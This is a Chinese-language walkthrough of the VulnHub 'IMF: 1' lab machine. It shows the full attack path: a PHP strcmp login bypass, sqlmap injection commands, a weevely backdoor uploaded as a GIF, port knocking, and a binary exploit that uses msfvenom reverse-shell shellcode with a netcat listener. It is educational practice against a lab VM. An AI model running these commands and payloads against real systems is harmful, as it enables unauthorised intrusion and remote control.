靶机地址:IMF:1 ~ VulnHub
难易程度:6.0 / 10.0文章简要记录渗透靶机每一个过程,对于渗透过程中的每一步并非十分的详细,其中部分内容会有错,望读者指出错误,谢谢!
摘要:扫描端口只有一个80http服务端口,对页面检查分别发现两个flag,在/imfadministrator目录下发现登录表单,根据提示利用PHPstrcmp的特性进行了绕过,进入cms.php页面,发现其下不同页面是通过get参数请求的,使用sqlmap跑出它的目录结构,发现了一个隐藏页面,得到一个upload页面,使用weevely工具进行文件上传获取低权限用户,最后再通过PWN掉agent程序得到root权限。
主机探测&端口扫描
靶机ip为:192.168.1.18
端口扫描结果:
hhh@Kali2020:~$ sudo nmap -sS -sV -A -T5 -p- 192.168.1.18
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-01 14:51 CST
Nmap scan report for imf (192.168.1.18)
Host is up (0.00022s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 08:00:27:33:EC:5A (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.22 ms imf (192.168.1.18)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.04 seconds
信息搜集
80端口 http服务
- 在contact.php页面源码中发现了flag1
flag1{YWxsdGhlZmlsZXM=}
顺便base64解码下:allthefiles
- 在F12中进行检查,网络中的一些文件名比较可疑可以组成base64码,
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
,进行解码得到flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
再顺便解码下:imfadministrator
- 进入到/imfadministrator目录下,发现一个登录表单
- 直接丢sqlmap跑它,发现并没有用
sqlmap -o -u "http://192.168.1.18/imfadministrator/" --forms --dbs
-
使用burpsuite抓包康康
查看该页面源代码,可以得到提示信息, 也就是说通常使用==
和strcmp
在php中进行比较区分不同大小写字符串,但是strcmp
有个特点,就是当字符串和数组进行比较时,函数返回0,我们这里可以将pass
换成pass[]
,很巧妙的绕过了!<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger -->
这里将用户名改为之前在contact页面上的一个人名rmichaels,再将pass改为pass[],成功获得flag3
flag3{Y29udGludWVUT2Ntcw==}
解码为:continueTOcms
- 前往该网站,发现url中的参数可以用sqlmap跑
- sqlmap跑该参数
方法一:保存抓取的包,跑该包
sqlmap -r cmssql --risk=3 --level=5 --dbs --dump --batch --threads=10
-r:指定请求文件
--risk=3:指风险等级为3,增加OR语句的SQL注入测试
--level=5:表示当前扫描的等级,会测试HTTP Cookie头的值和User-Agent及HTTP Reference头的值
--dbs:列出所有的数据库
--dump:获取转存整个表的信息
--batch:自动按照默认值运行下去,用户无需输入
--threads=10:指定线程为10?
方法二:对网站直接跑
sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --random-agent
sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin --tables --batch --random-agent
sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages --columns --batch --random-agent
sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 -D admin -T pages -C id,pagedata,pagename --batch --random-agent --dump
或者直接可以一步
sqlmap -u 'http://192.168.1.18/imfadministrator/cms.php?pagename=home' --cookie 'PHPSESSID=l9rer37phrgoivghlsebtoai57' --level=5 --risk=3 --dbs --batch --dump
可以看到在该数据库内有一个/tutorials-incomplete目录,前往
http://192.168.1.18/imfadministrator/cms.php?pagename=tutorials-incomplete
扫描图片中的二维码可以找到flag4
flag4{dXBsb2Fkcjk0Mi5waHA=}
解码为:uploadr942.php
- 前往该页面
http://192.168.1.18/imfadministrator/uploadr942.php
权限获取
该网页是一个文件上传
途径一:使用weevely工具
相关资料:
Weevely(php菜刀)工具使用详解 - FreeBuf网络安全行业门户
Weevely (Linux中的菜刀)_Mr. Anonymous的博客-CSDN博客_weevely
- 生成php后门文件
weevely generate mima123 backdoor.php
基本语法:weevely generate 密码 文件名
-
修改gif文件,并在其内容首行增加GIF3499aa09(随机值)
-
讲该gif文件上传,查看源代码,在注释处有一串码,为连接的文件名
-
使用weevely工具进行连接
weevely http://192.168.1.14/imfadministrator/uploads/bc9c4c4bf549.gif mima123
- 成功获取到低权限用户,浏览目录发现flag5
flag5{YWdlbnRzZXJ2aWNlcw==}
解码为:agentservices
权限提升
根据提示搜索agent服务,前往agent目录下
www-data@imf: $ whereis agent
agent: /usr/local/bin/agent
www-data@imf:/usr/local/bin $ ls
access_codes
agent
运行agent,检查有代理在运行,是7788端口,但是kali扫描不到该端口,需要端口碰撞
./agent
netstat -ant
该目录下的access_codes文件正好是端口序列,使用knock工具进行连接
GitHub - grongor/knock: Simple python port knocking client
./knock 192.168.1.18 7482 8279 9467
这是kali就可以扫描到该端口了
在 weevely shell上将该agent文件放到网站下,便于我们直接获取
cp /usr/local/bin/agent /var/www/html/imfadministrator
wget http://192.168.1.18/imfadministrator/agent
方法一
这里相当于是一个PWN题,不是很熟,暂时就先将步骤直接操作了一遍,具体的原理需要慢慢研究
-
下载脚本
https://raw.githubusercontent.com/jessekurrus/agentsploit/master/agentsploit.py -
生成自己kali的shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.15 LPORT=4448 -f python -b "\x00\x0a\x0d"
- 将shellcode进行替换,下面那部分
buf = ""
buf += "\xba\xf9\x03\x07\x8f\xd9\xe5\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x12\x31\x53\x12\x03\x53\x12\x83\x12\xff\xe5"
buf += "\x7a\xd5\xdb\x1d\x67\x46\x9f\xb2\x02\x6a\x96\xd4\x63"
buf += "\x0c\x65\x96\x17\x89\xc5\xa8\xda\xa9\x6f\xae\x1d\xc1"
buf += "\xaf\xf8\xdf\x1e\x58\xfb\xdf\x31\xf8\x72\x3e\x81\x9e"
buf += "\xd4\x90\xb2\xed\xd6\x9b\xd5\xdf\x59\xc9\x7d\x8e\x76"
buf += "\x9d\x15\x26\xa6\x4e\x87\xdf\x31\x73\x15\x73\xcb\x95"
buf += "\x29\x78\x06\xd5"
- 监听端口4448
nc -lnvp 4448
- 执行exp代码
python exp.py 192.168.1.18 7788
连接成功,访问得到flag6
flag6{R2gwc3RQcm90MGMwbHM=}
解码为:Gh0stProt0c0ls
root@imf:/root# cat TheEnd.txt
____ _ __ __
/ _/_ _ ___ ___ ___ ___ (_) / / /__
_/ // ' \/ _ \/ _ \(_-<(_-</ / _ \/ / -_)
/___/_/_/_/ .__/\___/___/___/_/_.__/_/\__/
__ __/_/ _
/ |/ (_)__ ___ (_)__ ___
/ /|_/ / (_-<(_-</ / _ \/ _ \
/_/__/_/_/___/___/_/\___/_//_/
/ __/__ ___________
/ _// _ \/ __/ __/ -_)
/_/ \___/_/ \__/\__/
Congratulations on finishing the IMF Boot2Root CTF. I hope you enjoyed it.
Thank you for trying this challenge and please send any feedback.
Geckom
Twitter: @g3ck0ma
Email: geckom@redteamr.com
Web: http://redteamr.com
Special Thanks
Binary Advice: OJ (@TheColonial) and Justin Stevens (@justinsteven)
Web Advice: Menztrual (@menztrual)
Testers: dook (@dooktwit), Menztrual (@menztrual), llid3nlq and OJ(@TheColonial)
总结
- burpsuite
- PHP strcmp特性
- sqlmap跑目录名
- 文件上传
- weevely工具
- 端口碰撞
- PWN
参考
VulnHub: Разбор IMF 1 и очередное переполнение буфера / Habr
Vulnhub-靶机-IMF: 1 - 白帽安全技术复现 - 博客园 (cnblogs.com)
IMF Walkthrough (VulnHub) – Digitalmunition
No.8-VulnHub-IMF: 1-Walkthrough渗透学习_大余xiyou的博客-CSDN博客
https://www.youtube.com/watch?v=Hxu668hgmnA&feature=youtu.be